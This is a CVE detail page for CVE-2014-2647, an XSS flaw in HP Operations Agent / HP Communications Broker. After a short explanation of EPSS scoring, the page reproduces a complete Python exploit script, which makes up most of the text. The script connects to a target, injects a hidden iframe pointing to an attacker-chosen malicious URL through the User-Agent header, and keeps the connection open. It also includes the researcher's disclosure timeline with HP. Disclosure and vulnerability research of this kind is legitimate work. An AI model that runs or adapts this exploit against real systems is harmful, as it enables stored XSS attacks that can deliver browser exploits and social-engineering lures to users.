CVE-2014-2647 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/python # Exploit Title: HP Operations Agent / HP Communications Broker Remote XSS iFrame Injection # Date: 10/16/2014 # Exploit Author: Matt Schmidt (Syph0n) # Vendor Homepage: www.hp.com # Version: HP Operations Manager/Operations Agent / OpenView Communications Broker < 11.14 # Tested on: Windows 7, SunOS, RHEL Linux # CVE : CVE-2014-2647 # # This script was written to exploit a remote cross-site scripting vulnerability in HP Communication Broker/ HP Operations Agent. # This vulnerability is stored in nature until the connection is terminated as it adds the XSS string to the User Agent. # Vulnerable page: /Hewlett-Packard/OpenView/BBC/status # This Exploit injects a Hidden iFrame which can be used for Social Engineering attacks as a browser exploit or other malicious URL can be embedded. # # Vulnerability Discovered by: Matt Schmidt (Syph0n) # Timeline: # 07/07/2014 - Submitted Discovery to ZDI # 07/08/2014 - ZDI decided not to accept this vulnerability and directed to HP SSRT. # 07/12/2014 - Contacted HP SSRT # 07/13/2014 - HP SSRT assigned Case SSRT101643 # 07/17/2014 - Submitted Discovery and PoC exploit code to HP SSRT # 07/30/2014 - Followed up with HP # 07/31/2014 - Response from HP Indicating they need more time for Engineering to look into the submission # 08/13/2014 - Followed up with HP # 08/13/2014 - Response from HP stating that this issue will be resolved in version OA 11.14 # 08/24/2014 - Followed up with HP on CVE Identified and Disclosure Date # 08/31/2014 - Followed up with HP again as no response to previous email # 09/04/2014 - Followed up with HP again as no response to previous two emails # 09/14/2014 - Followed up with HP again as no response to previous three emails # 09/16/2014 - HP Responded stating they where "sorting out various items concerning this issue" # 10/01/2014 - Followed up with HP asking for Disclosure Date and CVE Identifier # 10/06/2014 - HP Responded indicating a disclosure was due out the week of the 6th. # 10/15/2014 - HP Issued the following Security Bulletin regarding this vulnerability - https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04472444 # 10/15/2014 - CVE-2014-2647 Issued for this vulnerability import argparse, socket, sys # Define Help Menu if (len(sys.argv) < 2) or (sys.argv[1] == '-h') or (sys.argv[1] == '--help'): print '\nUsage: ./exploit.py <TargetIP> <iFrame URL> [Port]\n' print ' <TargetIP>: The Target IP Address' print ' <iFrame URL>: Malicious URL that will be injected as a hidden iframe\n' print 'Options:' print ' [--port]: The port the HP Communications Broker is running on, default is 383' sys.exit(1) # Parse Arguments parser = argparse.ArgumentParser() parser.add_argument("TargetIP") parser.add_argument("iFrameURL") parser.add_argument("--port", type=int, default=383) args = parser.parse_args() # Define User Agent to be spoofed agent = 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)' # Define Variables host = args.TargetIP port = args.port iFrameURL = args.iFrameURL def main(): # Malicious hidden iframe payload that takes input from args.iFrameURL and fake UserAgent from agent_list payload = "GET /Hewlett-Packard/OpenView/BBC/status HTTP/1.1\r\nUser-Agent: <iframe height='0' width='0' style='visibility:hidden;display:none' src='"+iFrameURL+"'></iframe><a>"+ agent +"</a>\r\n\r\n" # Create Socket and check connection to target. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*] Checking host: " +host+"\n" try: s.connect((host, int(port))) except Exception as e: print "[+] Error Connecting: ", e exit() print "[*] Sending payload to HP OpenView HTTP Communication host " +host+"\n" # Keep connection alive while payload != 'q': s.send(payload.encode()) data = s.recv(1024) print "[*] Payload Sent." payload = raw_input("\n[+] Keeping Connection Open ([q]uit):") return if __name__ == '__main__': main()